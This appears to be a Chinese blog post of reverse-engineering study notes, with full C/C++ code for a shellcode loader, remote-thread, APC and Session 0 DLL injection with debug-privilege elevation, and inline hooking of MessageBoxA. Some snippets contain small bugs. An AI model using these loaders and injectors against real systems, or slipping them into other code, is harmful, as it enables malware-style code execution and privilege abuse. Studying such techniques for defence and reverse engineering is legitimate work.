逆向学习.

shellcode加载

指针加载

int main()
{
unsigned char buf[] = "shellcode";
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
((void(*)())exec)();

void (*p)();   //一个正常的函数指针
void (*)();    //提取一下

( void (*)() )    exec     //把exec 强制转换为这个函数指针

所以最后就是:((void(*)())exec)();

汇编调用

#pragma comment(linker, "/section:.data,RWE")  //设置data 数据段,可执行权限
__asm{
	lea eax,buf
	call eax
}

创建一个线程去调用

	hThread = CreateThread(NULL, NULL,(LPTHREAD_START_ROUTINE)shellcode, NULL,NULL, &dwThreadId);
	WaitForSingleObject(hThread, INFINITE);

注入

远程线程注入

// RemoteThreadInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

DWORD GetProPID(LPCTSTR exeName)
{
    DWORD Ret = 0;
    PROCESSENTRY32 p32;
    HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (lpSnapshot == INVALID_HANDLE_VALUE)
    {
        printf("获取进程快照失败,请重试,error:%d", ::GetLastError());
        return Ret;
    }
    p32.dwSize = sizeof(PROCESSENTRY32);
    ::Process32First(lpSnapshot, &p32);
    do {
        if (!lstrcmp(p32.szExeFile, exeName))
        {
            Ret = p32.th32ProcessID;
            break;
        }
    } while (::Process32Next(lpSnapshot, &p32));
    ::CloseHandle(lpSnapshot);
    return Ret;
}

DWORD RemoteThreadInject(DWORD Pid, LPCWSTR DllName)
{
    //1、获取进程句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
    if (hProcess == NULL)
    {
        std::cout << "OpenProcess error: " << GetLastError();
        return 0;
    }

    //2、分配内存 
    SIZE_T size = (wcslen(DllName) + 2) * 2;
    
    LPVOID dllAdr = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
    if (dllAdr == NULL)
    {
        std::cout << "VirtualAllocEx error: " << GetLastError();
        return 0;
    }

    //3、写入内存
    BOOL B1 = WriteProcessMemory(hProcess, dllAdr, DllName, size, NULL);
    if (B1 == 0)
    {
        std::cout << "WriteProcessMemory error: " << GetLastError();
        return 0;
    }

    //4、获取LoadLibrary指针
    FARPROC p_load = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
    if (p_load == NULL)
    {
        std::cout << "GetProcAddress error: " << GetLastError();
        return 0;
    }

    //5、创建远程线程执行
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)p_load, dllAdr, 0, NULL);
    if (hThread == NULL)
    {
        std::cout << "CreateRemoteThread error: " << GetLastError();
        return 0;
    }

    //6、等待线程结束
    WaitForSingleObject(hThread, INFINITE);

    //7、释放内存,关闭句柄
    VirtualFreeEx(hProcess, dllAdr, size, MEM_DECOMMIT);
    CloseHandle(hProcess);

    return true;
}



int main()
{
    DWORD PID = GetProPID(L"notepad.exe");	//找到PID
   		//开始注入 RemoteThreadInject(PID,L"C:\\Users\\1223\\source\\CS\\DLLinject\\RemoteThreadInject\\x64\\Debug\\Dll1.dll");

    return 1;
}

//BUG总结:
//   dll路径长度计算注意

APC注入

 APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:
    1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。
    2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
    3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。

#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>
// 提权函数
BOOL EnableDebugPrivilege()
{
	HANDLE hToken;
	BOOL fOk = FALSE;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
	return fOk;
}
BOOL APCInjectDLL(DWORD dwPid, char* pszDllName) {
	EnableDebugPrivilege();
	//打开进程,获取进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	if (hProcess == NULL)
	{
		return FALSE;
	}
	//向目标进程申请空间写入dll全路径
	int nSize = strlen(pszDllName);
	LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nSize, MEM_COMMIT,
		PAGE_READWRITE);
	SIZE_T dwWrittenSize = 0;
	WriteProcessMemory(hProcess, pDllAddr, pszDllName, nSize, &dwWrittenSize);
	//获取LoadLibraryA的地址
	
		HMODULE hMod = GetModuleHandleA("kernel32.dll");
	FARPROC pFuncAddr = GetProcAddress(hMod, "LoadLibraryA");
	//创建线程快照
	THREADENTRY32 te = { 0 };
	te.dwSize = sizeof(te);
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
	if (hSnap == INVALID_HANDLE_VALUE) {
		return FALSE;
	}
	DWORD dwRet = 0;
	HANDLE hThread = NULL;
	if (Thread32First(hSnap, &te)) {
		do {
			if (te.th32OwnerProcessID == dwPid) {
				hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
				if (hThread) {
					dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread,
						(ULONG_PTR)pDllAddr);
					hThread = NULL;
				}
			}
		} while (Thread32Next(hSnap, &te));
	}
	CloseHandle(hThread);
	CloseHandle(hProcess);
	CloseHandle(hSnap);
	return TRUE;
}

int main()
{
	APCInjectDLL(23784, (char*)"C:\\Users\\1223\\Desktop\\x64.dll");
 	
}

BUG注意:

session0注入

当我们使用远程线程注入将dll注入至系统服务进程中往往会失败,这是因为大多数系统服务都是在Session0中运行的。

"Session 0"是Windows操作系统中的一个特殊的会话,专门用于运行系统服务和其他在用户登录之前就需要运行的程序。从Windows Vista和Windows Server 2008开始,为了提高安全性,Windows将用户和系统服务分隔在不同的会话中。具体来说,所有的服务和系统任务都在Session 0中运行,而所有用户交互任务都在其他会话中运行。

"Session 0注入"一般指的是把一个程序(通常是一个恶意程序)注入到Session 0的过程。因为Session 0有许多特权,所以如果恶意程序能够成功注入到Session 0,就可以获得比正常用户更高的权限,从而进行更多的恶意操作。

以下是CreateRemoteThread函数的调用流程图:

当我们使用DLL注入系统服务的进程时会失败,失败的原因在于,当CreateRemoteThread函数尝试在Session 0隔离的系统服务进程中注入DLL时,它通过调用ZwCreateThread函数创建远程线程,其中第七个参数CreateThreadFlags被设置为1。这意味着创建的线程在完成后将被挂起,无法被恢复,因此导致注入失败。为了成功注入,需通过调用ZwCreateThreadEx函数将此参数修改为0。

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <string>
#include <filesystem>

#ifdef _WIN64
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

//获取进程ID的函数
DWORD GetProcessIdByName(const std::wstring& name) {
	DWORD pid = 0;
	HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (snap != INVALID_HANDLE_VALUE) {
		PROCESSENTRY32W entry = { sizeof(entry) };
		if (Process32FirstW(snap, &entry)) {
			do {
				if (std::wstring(entry.szExeFile) == name) {
					pid = entry.th32ProcessID;
					break;
				}
			} while (Process32NextW(snap, &entry));
		}
		CloseHandle(snap);
	}
	return pid;
}


//提权函数,启用调试特权
//这个函数的主要作用是启用当前进程的“debug programs”特权,这个特权允许进程附加到其他进程并控制它们
BOOL EnableDebugPrivilege()
{	
	
	HANDLE hToken; // 用于保存进程访问令牌的句柄
	BOOL fOk = FALSE; // 用于保存函数是否执行成功的状态

	// 获取当前进程的访问令牌
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp; // 用于保存特权信息的结构体
		tp.PrivilegeCount = 1; // 设置特权数量为1

		// 获取“Debug Programs”特权的本地唯一标识符(LUID)
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 设置特权的属性为启用

		// 调整访问令牌,启用“Debug Programs”特权
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

		fOk = (GetLastError() == ERROR_SUCCESS); // 检查是否成功启用特权
		CloseHandle(hToken); // 关闭访问令牌的句柄
	}
	return fOk; // 返回函数是否执行成功的状态
}


BOOL Session0Inject(DWORD pid, char* dllPath)
{	
	EnableDebugPrivilege();  //提权
	DWORD DllNameLength = strlen(dllPath);  //获取dll路径名的长度

	// 检查文件是否存在  注意:<filesystem>库需使用支持C++17或更高版本的编译器
	if (!std::filesystem::exists(dllPath)) {
		printf("指定的DLL文件不存在\n");
		return -1;
	}

	//1 获取目的进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == NULL)
	{
		printf("打开进程失败: %d\n", GetLastError());
		return -1;
	}

	//2 为目的进程分配内存,用于存放Loadlibrary传入的参数,即dll的路径
	VOID* paraAddr = VirtualAllocEx(hProcess, NULL, DllNameLength + 1, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == paraAddr)
	{
		printf("内存分配失败\n");
		return -1;
	}

	//3 将DLL的路径写到目标进程的内存
	if (!WriteProcessMemory(hProcess, paraAddr, dllPath, DllNameLength + 1, NULL))
	{
		printf("写入内存失败!\n");
		return false;
	}

	//4 获取loadlibrary函数的地址
	HMODULE LibHandle = GetModuleHandle("kernel32.dll");
	FARPROC ProcAdd = GetProcAddress(LibHandle, "LoadLibraryA");
	if (!ProcAdd)
	{
		printf("获取LoadLibraryA失败!\n");
		return false;
	}

	//5 通过调用GetProcAddress函数来获取ZwCreateThreadEx函数的地址
	HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
	DWORD dwStatus;
	HANDLE hRemoteThread; 
	Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		printf("GetProcAddress error\n");
		return -1;
	}

	//6 使用获取到的ZwCreateThreadEx函数在目标进程中创建线程,运行LoadLibraryA函数,参数为DLL路径
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
		(LPTHREAD_START_ROUTINE)ProcAdd, paraAddr, 0, 0, 0, 0, NULL);
	if (NULL == ZwCreateThreadEx)
	{
		printf("ZwCreateThreadEx error\n");
		return -1;
	}

	//释放dll
	FreeLibrary(hNtdllDll);

	//释放句柄
	CloseHandle(hRemoteThread);
	CloseHandle(hProcess);
}


int main(int argc, char* argv[])
{
	if (argc == 3)
	{	
		//atoi函数可将字符串转化为整数
		BOOL bRet = Session0Inject((DWORD)atoi(argv[1]), argv[2]);
		
		if (-1 == bRet)
		{
			printf("Inject dll failed\n");
		}
		else
		{
			printf("Inject dll successfully\n");
		}
	}
	else
	{
		printf("你需输入两个参数,参数1为pid,参数2为dll的绝对路径\n");
		exit(1);
	}
}

Hook

  1. 一种使用E9,计算jmp后面的地址,即 jmp address 跳转到自己写的函数
  2. 另外一种使用B8同样可以( mov eax,address ),然后使用 FFE0 ( jmp eax )跳转到自己写的函数

原理:

那么我们要实现jmp跳转,执行的命令为 jmp 0x123454678 ,需要5个字节,也

就是说至少要有5个字节的空间才能够写入jmp跳转的硬编码。

但是却,破坏了9个字节的数据,所以还要修复这9个字节。

方案如下:

注意:不使用的部分,写成 nop 防止出错。


代码:

//第一种:

#include <iostream>
#include <Windows.h>

HANDLE hProcess = GetCurrentProcess();
FARPROC MessageBoxAddress{};
char oldCode[5]{};
char MessageCode[5]{};
char newCode[5]{ 0xE9, 0x00, 0x00, 0x00, 0x00 };

int FuncSize(unsigned Adr)
{
    int i = 0;
    char* t3 = (char*)Adr;
    for (; i < 50; i++)
    {
        if ((unsigned char)t3[i] == 0xCC) break;
    }
    return i;
}


void MyFuntion()
{
    MessageBoxW(0, L"1", L"1", MB_OK);

}


/*
    1、计算MyFunction大小,获取MessageBoxA的地址,
    2、申请一块内存,

    0-24:写入MyFunction; 
    24-29:备份的数据;
    29-34:jmp MessageBoxA;

    
*/

BOOL inlineHOOK()
{
    //1、------------------------------------
    //计算MyFunction大小
    int CountFunc = FuncSize((unsigned)MyFuntion);
    CountFunc -= 1;
    //加载user32.dll  获取MessageBoxA 函数地址
    HMODULE hMod = LoadLibraryA("user32.dll");
    MessageBoxAddress = GetProcAddress(hMod, "MessageBoxA");

    DWORD dwOld;
    VirtualProtect(MessageBoxAddress, 0x5, PAGE_EXECUTE_READWRITE, &dwOld);


    //2、------------------------------
    //申请内存
    unsigned Adr = (unsigned)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    std::cout << "MessageBoxAddress: " << MessageBoxAddress << char(10) << "Adr: " << std::hex<< Adr;

    //备份数据
    ReadProcessMemory(hProcess, MessageBoxAddress, &MessageCode, 0x5, NULL);

    WriteProcessMemory(hProcess, LPVOID(Adr+ CountFunc), (void*)MessageCode, 0x5, NULL);

    //MessageBoxA 中写入跳转
    unsigned t1 = (unsigned)Adr - (unsigned)MessageBoxAddress - 0x5;
    char* p1 = (char*)(&t1);
    newCode[1] = p1[0];
    newCode[2] = p1[1];
    newCode[3] = p1[2];
    newCode[4] = p1[3];                                       
    WriteProcessMemory(hProcess, MessageBoxAddress, (void*)newCode, 0x5, NULL);
    
    
    //新内存中写入 MyFunc
    WriteProcessMemory(hProcess, LPVOID(Adr), MyFuntion, CountFunc, NULL);

    // jmp MessageBox
    unsigned t2 = ((unsigned)MessageBoxAddress +5) - (Adr + CountFunc + 0x5) - 5;
    char* p2 = (char*) & t2;
    oldCode[0] = 0xE9;
    oldCode[1] = p2[0];
    oldCode[2] = p2[1];
    oldCode[3] = p2[2];
    oldCode[4] = p2[3];
    WriteProcessMemory(hProcess, LPVOID(Adr+ CountFunc + 0x5), (void*)oldCode, 0x5, NULL);

    return 1;
}



int main()
{
    inlineHOOK();
    MessageBoxA(0, "2", "2", MB_OK);
    
    
    return 1;
}

注意:最后一个字节(ret指令)不要copy,

因为我们是通过 jmp 指令直接过来的,不是通过call,此时的 栈 还是在MessageBoxA 范围中;如果 ret 的话,就直接结束了 MessageBoxA 函数,栈不平衡,直接崩溃。

jmp跳转指令公式: 目标地址 - 当前地址 - 5 。


//第二种:

#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <tchar.h>

int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);


BYTE NewCode[7] = { 0xE9, 0x0, 0x0, 0x0, 0x0, 0x0 };
BYTE OldCode[7] = { 0 };
FARPROC MessageBoxAddress;
void InlineHook()
{
    HMODULE hModule_User32 = LoadLibrary(L"user32.dll");
    MessageBoxAddress = GetProcAddress(hModule_User32, "MessageBoxA");
    printf("MessageBoxA Addr is %x\n", MessageBoxAddress);
    printf("MyMessageBoxA Addr is %x\n", MyMessageBoxA);
    if (ReadProcessMemory(INVALID_HANDLE_VALUE, MessageBoxAddress, OldCode, 7,
        NULL) == 0)
    {
        printf("ReadProcessMemory error\n");
        return;
    }
    printf("OldCode is %x%x%x%x%x%x%x\n", OldCode[0], OldCode[1], OldCode[2],
        OldCode[3], OldCode[4], OldCode[5], OldCode[6]);
    DWORD JmpAddress = (DWORD)MyMessageBoxA;
    NewCode[0] = 0xB8;
    memcpy(&NewCode[1], &JmpAddress, 4);
    NewCode[5] = 0xFF;
    NewCode[6] = 0xE0;
    DWORD dwOldProtect = 0;
    printf("NewBytes is %x%x%x%x%x\n", NewCode[0], NewCode[1], NewCode[2],
        NewCode[3], NewCode[4], NewCode[5], NewCode[6]);
    ::VirtualProtect(MessageBoxAddress, 7, PAGE_EXECUTE_READWRITE,
        &dwOldProtect);
    WriteProcessMemory(INVALID_HANDLE_VALUE, MessageBoxAddress, NewCode, 7,
        NULL);
    ::VirtualProtect(MessageBoxAddress, 7, dwOldProtect, &dwOldProtect);
}

//注意 参数,调用约定,维护栈平衡
int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
    printf("MessageBoxA 已经被Hook\n");
        //恢复MessageBoxA 原数据
    WriteProcessMemory(INVALID_HANDLE_VALUE, (void*)MessageBoxAddress,
        (void*)OldCode, 7, NULL);
    int ret = MessageBoxA(NULL, "Hello World1111111", "Title111111111", MB_OK);
        //再次写入 跳转
    WriteProcessMemory(INVALID_HANDLE_VALUE, (void*)MessageBoxAddress,
        (void*)NewCode, 7, NULL);
    return ret;
}
void main()
{
    InlineHook();
    MessageBoxA(NULL, "Hello World", "Title", MB_OK);
    
}

mov eax,0x12345678

jmp eax

这里直接用了寄存器,不需要计算跳转地址。


总结:

第一种:写入一次,比较麻烦

第二种:每调用一次,就要写入一次,简单一点。

实战中基本都用不到,仅做入门思路学习。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值